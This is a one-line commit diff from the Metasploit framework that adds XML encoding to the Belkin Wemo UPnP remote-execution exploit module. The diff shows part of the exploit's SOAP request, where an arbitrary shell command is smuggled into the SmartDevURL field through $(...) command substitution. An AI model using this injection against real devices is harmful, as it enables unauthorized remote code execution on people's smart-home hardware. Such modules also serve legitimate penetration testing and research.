Land #11685, proper XML encoding for Wemo exploit

2019-04-03 19:20:43 -05:00 · 2019-04-03 19:20:43 -05:00 · ba4f129b6c
parent a14e92987a
commit ba4f129b6c
1 changed files with 1 additions and 1 deletions
--- a/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb
+++ b/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
      <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <s:Body>
          <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
-            <SmartDevURL>$(#{cmd})</SmartDevURL>
+            <SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>
          </u:SetSmartDevInfo>
        </s:Body>
      </s:Envelope>